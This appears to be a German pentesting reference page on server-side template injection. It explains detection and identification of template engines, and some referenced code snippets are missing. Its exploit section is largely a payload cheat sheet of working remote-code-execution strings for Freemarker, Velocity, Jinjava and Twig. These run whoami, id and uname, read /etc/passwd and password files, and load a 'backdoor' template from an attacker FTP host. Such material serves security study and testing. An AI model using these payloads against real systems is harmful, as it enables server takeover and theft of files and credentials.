RootedCON ist die relevanteste Cybersecurity-Veranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.
Server-Side Template Injection ist eine Schwachstelle, die auftritt, wenn ein Angreifer schädlichen Code in eine Vorlage injizieren kann, die auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.
Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Lassen Sie uns ein Beispiel betrachten, das einen anfälligen Code-Schnipsel mit Jinja demonstriert:
In diesem anfälligen Code wird der name-Parameter aus der Benutzeranfrage direkt mit der render-Funktion in die Vorlage eingefügt. Dies kann einem Angreifer potenziell ermöglichen, schädlichen Code in den name-Parameter einzufügen, was zu einer serverseitigen Template-Injection führt.
Zum Beispiel könnte ein Angreifer eine Anfrage mit einem Payload wie diesem erstellen:
Der Payload {{bad-stuff-here}} wird in den Parameter name injiziert. Dieser Payload kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, unbefugten Code auszuführen oder die Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.
Um Server-seitige Template-Injection-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung kontextsensitiver Escape-Techniken können helfen, das Risiko dieser Schwachstelle zu mindern.
Detection
Um Server-Side Template Injection (SSTI) zu erkennen, ist zunächst Fuzzing des Templates ein einfacher Ansatz. Dies beinhaltet das Injizieren einer Sequenz von Sonderzeichen (${{<%[%'"}}%\) in das Template und das Analysieren der Unterschiede in der Serverantwort auf reguläre Daten im Vergleich zu diesem speziellen Payload. Anzeichen für Schwachstellen sind:
Ausgeworfene Fehler, die die Schwachstelle und potenziell die Template-Engine offenbaren.
Abwesenheit des Payloads in der Reflexion oder Teile davon fehlen, was darauf hindeutet, dass der Server es anders verarbeitet als reguläre Daten.
Plaintext-Kontext: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. {{7*7}}, ${7*7}).
Code-Kontext: Bestätigung der Schwachstelle durch Ändern der Eingabeparameter. Zum Beispiel das Ändern von greeting in http://vulnerable-website.com/?greeting=data.username, um zu sehen, ob die Serverausgabe dynamisch oder fest ist, wie in greeting=data.username}}hello, das den Benutzernamen zurückgibt.
Identification Phase
Die Identifizierung der Template-Engine erfolgt durch die Analyse von Fehlermeldungen oder manuelles Testen verschiedener sprachspezifischer Payloads. Häufige Payloads, die Fehler verursachen, sind ${7/0}, {{7/0}} und <%= 7/0 %>. Die Beobachtung der Serverantwort auf mathematische Operationen hilft, die spezifische Template-Engine zu bestimmen.
eine interaktive Tabelle, die die effizientesten Template-Injection-Polyglots sowie die erwarteten Antworten der 44 wichtigsten Template-Engines enthält.
Exploits
Generic
In dieser Wortliste finden Sie definierte Variablen in den Umgebungen einiger der unten genannten Engines:
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox-Umgehung
⚠️ funktioniert nur bei Freemarker-Versionen unter 2.3.30
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
In Thymeleaf ist ein häufiger Test für SSTI-Schwachstellen der Ausdruck ${7*7}, der auch für diese Template-Engine gilt. Für potenzielle Remote-Code-Ausführung können Ausdrücke wie die folgenden verwendet werden:
Thymeleaf erfordert, dass diese Ausdrücke innerhalb spezifischer Attribute platziert werden. Allerdings wird expression inlining für andere Template-Standorte unterstützt, unter Verwendung von Syntax wie [[...]] oder [(...)]. Daher könnte eine einfache SSTI-Testlast wie [[${7*7}]] aussehen.
Die Wahrscheinlichkeit, dass diese Last funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Generierung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen TemplateResolver implementieren, um Templates aus Strings zur Laufzeit zu erstellen, was ungewöhnlich ist.
Thymeleaf bietet auch expression preprocessing, bei dem Ausdrücke innerhalb doppelter Unterstriche (__...__) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert:
#{selection.__${sel.code}__}
Beispiel für eine Schwachstelle in Thymeleaf
Betrachten Sie den folgenden Codeausschnitt, der anfällig für Ausnutzung sein könnte:
Dies deutet darauf hin, dass, wenn die Template-Engine diese Eingaben unsachgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen könnte, die auf URLs wie zugreift:
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Suchen Sie nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdeckten das Jinjava-Projekt auf Github.
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Die Ausdruckssprache (EL) ist ein grundlegendes Merkmal, das die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Sie wird umfassend in mehreren JavaEE-Technologien verwendet, um diese Kommunikation zu optimieren. Die wichtigsten JavaEE-Technologien, die EL nutzen, sind:
JavaServer Faces (JSF): Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und -Aktionen zu verbinden.
JavaServer Pages (JSP): EL wird in JSP verwendet, um auf Daten innerhalb von JSP-Seiten zuzugreifen und diese zu manipulieren, was es einfacher macht, Seitenelemente mit den Anwendungsdaten zu verbinden.
Contexts and Dependency Injection for Java EE (CDI): EL integriert sich mit CDI, um eine nahtlose Interaktion zwischen der Webschicht und verwalteten Beans zu ermöglichen, was eine kohärentere Anwendungsstruktur gewährleistet.
Überprüfen Sie die folgende Seite, um mehr über die Ausnutzung von EL-Interpretern zu erfahren:
RootedCON ist die relevanteste Cybersecurity-Veranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates ist eine Templating-Engine, die nativ in PHP ist und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, nutzt Plates nativen PHP-Code in Templates, was es für PHP-Entwickler intuitiv macht.
Controller:
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);
